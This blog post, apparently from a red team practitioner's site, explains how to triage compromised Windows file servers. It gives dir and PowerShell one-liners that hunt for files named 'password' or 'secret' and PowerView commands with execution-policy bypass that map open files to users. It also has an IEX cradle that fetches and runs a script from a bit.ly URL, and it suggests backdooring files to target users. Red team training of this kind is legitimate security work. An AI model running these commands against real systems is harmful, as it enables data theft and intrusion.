← Pwnstaller 1.0 PowerUp: A Usage Guide →

File Server Triage on Red Team Engagements

May 19, 2014 by harmj0y

Note: this topic was cross-posted on the official Veris Group blog

One common activity performed during red team assessments is data pilfering of compromised servers, particularly file servers. These systems can host an incredible amount of useful information and often the target data you're after. However, the triage of a machine with literally millions of files can be an incredibly time consuming process. Examining the innumerable number of files, folders, and shares is how some red teams break their new members over a span of days, weeks, and months. This post will cover a few techniques to hopefully help you find what you're looking for when you happen to pop one of these boxes.

The first technique is about as basic as it gets, straight recursive dir listings. You can then do key word searches on the results, checking for things like "*secret*", "*sensitive*", "*password*", etc. For a basic recursive listing, you can use:

- C:\> dir /s C:\ > listing.txt

If you want those files sorted by subdirectory with the most recently accessed file on top, along with the owner for each file, you can use:

- C:\> dir /S /Q /O:-D /T:A C:\ > listing.txt

If the target machine has Powershell installed, you can go a bit further and customize the listing behavior to get exactly what you want. Using Get-Childitem and a bit of manipulation, we can get a CSV file with the paths of all files, their owners, creation/access times and size. This file can then be sorted by LastAccessTime to see what files have recently been touched. Change into the directory/share you want to list and run:

- C:\> powershell.exe -command "get-childitem .\ -rec -ErrorAction SilentlyContinue | where {!$_.PSIsContainer} | select-object FullName, @{Name='Owner';Expression={(Get-Acl $_.FullName).Owner}}, LastAccessTime, LastWriteTime, Length | export-csv -notypeinformation -path files.csv"

Quick word of warning though: these recursive directory listing files can get extremely large for certain systems- on a recent engagement we ended up generating gigabytes of directory listings from just a handful of file servers. If you want to pare down the size of the results, you can output only files with certain extensions by using the -include flag:

- C:\> powershell.exe -command "get-childitem .\ -rec -ErrorAction SilentlyContinue -include @('*.doc*','*.xls*','*.pdf')|where{!$_.PSIsContainer}|select-object FullName,@{Name='Owner';Expression={(Get-Acl $_.FullName).Owner}},LastAccessTime,LastWriteTime,Length|export-csv -notypeinformation -path files.csv"

Or if you wanted to do several wildcard searches for sensitive files (replace the terms as necessary):

- C:\> powershell.exe -command "get-childitem .\ -rec -ErrorAction SilentlyContinue -include @('*password*','*sensitive*','*secret*')|where{!$_.PSIsContainer}|select-object FullName,@{Name='Owner';Expression={(Get-Acl $_.FullName).Owner}},LastAccessTime,LastWriteTime,Length|export-csv -notypeinformation -path files.csv"

If you happen to have administrative privileges on the machine you're triaging, and remote users are accessing files on the box, you can utilize the NetFileEnum Windows API call to get information on what files each user is accessing. This information can then be combined with information from NetSessionEnum (aka "net sessions") to extract where that user is logged in from. Luckily, Veil-Powerview has you covered on that front, and we can chain together Get-NetFiles and Get-NetSessions to get complete output with the following one-liner:

- C:> powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1; $sess=@{};Get-Netsessions|foreach{$sess[$_.sesi10_username]=$_.sesi10_cname};Get-NetFiles | Select-Object @{Name='Username';Expression={$_.fi3_username}},@{Name='Filepath';Expression={$_.fi3_pathname}},@{Name='Computer';Expression={$sess[$_.fi3_username]}}|export-csv -notypeinformation -path open_files.csv}"

You should get a sortable CSV file with open files, usernames and associated login locations. This can give you information on what data might be valuable, as well as choosing files you might want to backdoor in order to target specific users. If you want to achieve the same result without touching disk (by downloading PowerView directly from GitHub) you can do that too:

- C:> powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/1mYPUO4'); $sess=@{};Get-Netsessions|foreach{$sess[$_.sesi10_username]=$_.sesi10_cname};Get-NetFiles | Select-Object @{Name='Username';Expression={$_.fi3_username}},@{Name='Filepath';Expression={$_.fi3_pathname}},@{Name='Computer';Expression={$sess[$_.fi3_username]}}"

Happy searching, and come check out the new Powershell security channel started by Ben0xA on Freenode, #pssec.

This entry was posted in redteaming. Bookmark the permalink.

← Pwnstaller 1.0 PowerUp: A Usage Guide →

2 thoughts on “File Server Triage on Red Team Engagements”

Pingback: Hunting for Sensitive Data with the Veil-Framework - Veil - Framework

genset yanmar 20 kva says: March 9, 2015 at 9:34 pm

I really like what you guys are up too. Such clever work and reporting!
Keep up the fantastic works guys I’ve added you
guys to my own blogroll.

Reply

Leave a Reply

Your email address will not be published. Required fields are marked *

Comment

Name *

Email *

Website

Post Comment

☐ Notify me of follow-up comments by email.

☐ Notify me of new posts by email.

Search …

Recent Posts

- Expanding Your Empire
- Empire 1.4
- Targeted Plaintext Downgrades with PowerView
- Empire, Meterpreter, and Offensive Half-life
- Sheets on Sheets on Sheets

Recent Comments

- An Empire Case Study | enigma0x3 on The Trustpocalypse
- harmj0y on Empire 1.3
- ap on Empire 1.3
- harmj0y on Expanding Your Empire
- jd on Expanding Your Empire

Archives

- January 2016
- December 2015
- November 2015
- October 2015
- September 2015
- August 2015
- July 2015
- June 2015
- May 2015
- April 2015
- March 2015
- January 2015
- December 2014
- November 2014
- October 2014
- September 2014
- August 2014
- July 2014
- June 2014
- May 2014
- April 2014
- March 2014

Categories

- Empire
- informational
- penetesting
- Powershell
- Python
- redteaming
- Uncategorized

Meta

- Log in
- Entries RSS
- Comments RSS
- WordPress.org